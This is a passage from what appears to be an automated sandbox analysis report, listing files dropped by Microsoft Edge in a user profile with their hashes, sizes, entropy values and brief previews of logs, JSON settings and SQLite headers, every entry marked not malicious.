MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.234485577632578
Encrypted:	false
SSDEEP:	12:k95qM+vLZYebvqBQFUt8/9t/+/9PMV54ZYebvqBvJ:k9wdlYebvZg8/9+9P2oYebvk
MD5:	3DEF81714A445310477C5968B15D3213
SHA1:	91D23E674F1E32109C04785E7EB3461D31A38D20
SHA-256:	1B6CF97AC088C46CB756D07C8B4E3AC884663E7AE3DEBE6F84A632EA09F5333D
SHA-512:	F7DDD30AFD327DF180D6ADF82ED246E3ACC91D974D67B8B2A32CC9C3F8463DEDC18D4D8B7E440BEDB272B46286A75C423FDFE1997CBE065CCF9054B6F69C8AA0
Malicious:	false
Preview:	2024/11/21-16:04:43.808 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:04:43.835 d8c Recovering log #3.2024/11/21-16:04:43.863 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.234485577632578
Encrypted:	false
SSDEEP:	12:k95qM+vLZYebvqBQFUt8/9t/+/9PMV54ZYebvqBvJ:k9wdlYebvZg8/9+9P2oYebvk
MD5:	3DEF81714A445310477C5968B15D3213
SHA1:	91D23E674F1E32109C04785E7EB3461D31A38D20
SHA-256:	1B6CF97AC088C46CB756D07C8B4E3AC884663E7AE3DEBE6F84A632EA09F5333D
SHA-512:	F7DDD30AFD327DF180D6ADF82ED246E3ACC91D974D67B8B2A32CC9C3F8463DEDC18D4D8B7E440BEDB272B46286A75C423FDFE1997CBE065CCF9054B6F69C8AA0
Malicious:	false
Preview:	2024/11/21-16:04:43.808 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:04:43.835 d8c Recovering log #3.2024/11/21-16:04:43.863 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2e8ba7dc-b3b0-4c50-8c95-1d97c0d19a3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\905b327e-4dff-4699-b543-ef495b821284.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2a251.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b3e42f04-a899-4283-ba9b-c409c3b02e6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d3a4467e-7f83-4900-b404-1369e9e1f888.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.246643745397425
Encrypted:	false
SSDEEP:	12:k9rdpM+vLZYebvqBZFUt8/9m/+/9BMV54ZYebvqBaJ:k9rdpdlYebvyg8/9H9B2oYebvL
MD5:	1DF0194F9FA409BD099EBE5A45C7ADC1
SHA1:	8588EEC3804CD27BDEB46529732BF7B2CB623ABA
SHA-256:	CFE0102BB70B7F1612F30044B03DEC7373B52A764AD0A6F71A9AC51DDC256D3C
SHA-512:	B19E3225A4D92C495EE7DACA138BE53F7F2EFCE6C496543338910D2B3EC33561520EC534C19454BB6950EDC4CBC95CE588A4CC8BB85F8FF6F5201F475F6B0CAF
Malicious:	false
Preview:	2024/11/21-16:05:01.897 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-16:05:01.899 d8c Recovering log #3.2024/11/21-16:05:01.903 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.246643745397425
Encrypted:	false
SSDEEP:	12:k9rdpM+vLZYebvqBZFUt8/9m/+/9BMV54ZYebvqBaJ:k9rdpdlYebvyg8/9H9B2oYebvL
MD5:	1DF0194F9FA409BD099EBE5A45C7ADC1
SHA1:	8588EEC3804CD27BDEB46529732BF7B2CB623ABA
SHA-256:	CFE0102BB70B7F1612F30044B03DEC7373B52A764AD0A6F71A9AC51DDC256D3C
SHA-512:	B19E3225A4D92C495EE7DACA138BE53F7F2EFCE6C496543338910D2B3EC33561520EC534C19454BB6950EDC4CBC95CE588A4CC8BB85F8FF6F5201F475F6B0CAF
Malicious:	false
Preview:	2024/11/21-16:05:01.897 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/21-16:05:01.899 d8c Recovering log #3.2024/11/21-16:05:01.903 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1607032813653975
Encrypted:	false
SSDEEP:	6:HE9iUyL+q2PcNwi23oH+TcwtpIFUt8YE9iUkKWZmw+YE9iUyLVkwOcNwi23oH+Tr:k9iUyL+vLZYebmFUt8/9iUDW/+/9iUyy
MD5:	E416BA25B189FAA5C528236EBC43B8BB
SHA1:	C17203E0069F5B6D18B0A11300124A36A47471CB
SHA-256:	EABDD3AB56A023FAAC6C56218A168B08EEF6AD36CD8E08F4466348E6E9D6825D
SHA-512:	E521FFAC97FF4897ACDEC4DD9B10D34305C425C74F3C6BFA089645C70BF44D82CBE8C3E02E55531DAA75EF4E8F51F47AC7459C33CDB34287BC46C3A64A83FF84
Malicious:	false
Preview:	2024/11/21-16:04:43.026 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-16:04:43.026 1e3c Recovering log #3.2024/11/21-16:04:43.026 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1607032813653975
Encrypted:	false
SSDEEP:	6:HE9iUyL+q2PcNwi23oH+TcwtpIFUt8YE9iUkKWZmw+YE9iUyLVkwOcNwi23oH+Tr:k9iUyL+vLZYebmFUt8/9iUDW/+/9iUyy
MD5:	E416BA25B189FAA5C528236EBC43B8BB
SHA1:	C17203E0069F5B6D18B0A11300124A36A47471CB
SHA-256:	EABDD3AB56A023FAAC6C56218A168B08EEF6AD36CD8E08F4466348E6E9D6825D
SHA-512:	E521FFAC97FF4897ACDEC4DD9B10D34305C425C74F3C6BFA089645C70BF44D82CBE8C3E02E55531DAA75EF4E8F51F47AC7459C33CDB34287BC46C3A64A83FF84
Malicious:	false
Preview:	2024/11/21-16:04:43.026 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/21-16:04:43.026 1e3c Recovering log #3.2024/11/21-16:04:43.026 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654028424610964
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMTSAELyKOMq+8HKkjucswRv8p3nVumx:K0q+n0JT9ELyKOMq+8HKkjuczRv89F
MD5:	E1E2F765793CAF58F1F2D59825C87AD6
SHA1:	6F5B676CF14A30EFFDCF6DD2442042E6624CF4D5
SHA-256:	DBEA006343C684388ECB0BEC1B470955F101CF5D739800B5B07CDB9C89B24B92
SHA-512:	62FBE69A09739E718F6BC963FCE3358B0D9E6130187C51CA5AEACFABCB8C805CF32A0E22344A974377A3DA9C8D5A71F44B88A7DA8931E1A3D05A95B7C91C8C41
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.466841159707253
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0r2mm:v7doKsKuKZKlZNmu46yjx0Cmm
MD5:	9516071459597EA8A7E562FF36438B64
SHA1:	7138F5198BF186849986B9595D5D3EC0E825A6C9
SHA-256:	9291223A5B944D6749890F4F93A8EF77F22A441CFDD7423E72F638926202E38C
SHA-512:	3AAC2654FDC0109B0D27380303BA693798EBC3A9F040C126DED69EF9191F7D9CC8F74857713E738E644475A842F6F8A0A7E484D28DED2554E75FC3866B284D92
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d3f05932-00a5-4cb5-88ce-76a6968cd1f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\efe234ce-ff54-43c2-bbc5-fa1a1765529e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17467), with no line terminators
Category:	dropped
Size (bytes):	17469
Entropy (8bit):	5.486462864960942
Encrypted:	false
SSDEEP:	384:stgPGQSu4d/sWAtJGFlwipmGTwEi8bGSQw4n7:saOXu8Agl1kKbGBh
MD5:	35DCB5B822E635FC5E0D6BF6A36753B0
SHA1:	81E258538C94FFA10263ACD5B1E09C6523E3D322
SHA-256:	302464C710ABA93E015CF890E2F62781B4E9486DDB593EB597AD07D8601771FD
SHA-512:	6DD03B7A2605AB1072921F4C78731B3AB7BDFEFE111F021A78F67138131E8B730AE0D013B07D6BAC059F31EDF43D3DCC11BD809ACFE71EC141A308617E48AA17
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\feaa5c66-1835-4a83-a3c4-31a277911622.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fed09102-d3d8-4ee9-bb6c-afc58cfbad2d.tmp

Download File

